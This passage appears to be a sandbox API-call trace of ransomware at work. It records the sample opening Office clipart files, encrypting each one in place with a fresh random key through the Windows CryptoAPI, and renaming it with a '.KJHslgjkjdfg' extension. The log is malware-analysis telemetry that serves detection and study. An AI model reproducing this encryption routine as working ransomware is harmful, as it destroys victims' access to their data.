lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.018] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.018] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.018] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.018] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.018] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.018] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.019] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x31cc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x31cc, lpOverlapped=0x0) returned 1 [0161.019] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31d0, dwBufLen=0x31d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31d0) returned 1 [0161.020] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.020] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x31d0, lpOverlapped=0x0) returned 1 [0161.020] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.020] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x32a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.020] SetEndOfFile (hFile=0x114) returned 1 [0161.023] GetProcessHeap () returned 0x2a0000 [0161.023] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.023] GetProcessHeap () returned 0x2a0000 [0161.023] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.kjhslgjkjdfg")) returned 1 [0161.024] CloseHandle (hObject=0x114) returned 1 [0161.024] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0161.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.025] GetProcessHeap () returned 0x2a0000 [0161.025] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.025] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.025] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.032] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.032] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.032] GetProcessHeap () returned 0x2a0000 [0161.032] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.032] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.032] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.032] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.032] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.033] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.033] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.033] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.033] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.033] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.033] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b08, lpOverlapped=0x0) returned 1 [0161.034] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b10) returned 1 [0161.035] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.035] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b10, lpOverlapped=0x0) returned 1 [0161.035] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.035] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.035] SetEndOfFile (hFile=0x114) returned 1 [0161.038] GetProcessHeap () returned 0x2a0000 [0161.038] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.038] GetProcessHeap () returned 0x2a0000 [0161.038] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.kjhslgjkjdfg")) returned 1 [0161.040] CloseHandle (hObject=0x114) returned 1 [0161.040] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0161.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.040] GetProcessHeap () returned 0x2a0000 [0161.040] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.040] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.043] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.043] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.043] GetProcessHeap () returned 0x2a0000 [0161.043] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.044] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.044] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.044] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.044] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.044] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.044] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.044] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.044] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4e8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4e8, lpOverlapped=0x0) returned 1 [0161.044] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f0) returned 1 [0161.045] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.045] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4f0, lpOverlapped=0x0) returned 1 [0161.045] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.045] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.045] SetEndOfFile (hFile=0x114) returned 1 [0161.048] GetProcessHeap () returned 0x2a0000 [0161.048] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.048] GetProcessHeap () returned 0x2a0000 [0161.048] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.kjhslgjkjdfg")) returned 1 [0161.049] CloseHandle (hObject=0x114) returned 1 [0161.050] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0161.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.050] GetProcessHeap () returned 0x2a0000 [0161.051] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.051] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.051] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.051] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.051] GetProcessHeap () returned 0x2a0000 [0161.051] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.051] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.051] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.051] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.053] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.053] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.053] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.053] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.054] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.054] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.054] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.054] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb80, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb80, lpOverlapped=0x0) returned 1 [0161.054] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb80, dwBufLen=0xb80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb80) returned 1 [0161.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.054] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb80, lpOverlapped=0x0) returned 1 [0161.054] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.054] SetEndOfFile (hFile=0x114) returned 1 [0161.057] GetProcessHeap () returned 0x2a0000 [0161.057] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.057] GetProcessHeap () returned 0x2a0000 [0161.057] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.kjhslgjkjdfg")) returned 1 [0161.058] CloseHandle (hObject=0x114) returned 1 [0161.058] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0161.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.059] GetProcessHeap () returned 0x2a0000 [0161.059] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.059] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.060] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.062] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.062] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.062] GetProcessHeap () returned 0x2a0000 [0161.062] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.062] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.062] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.062] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.062] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.062] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.062] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.062] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.063] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.063] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.063] 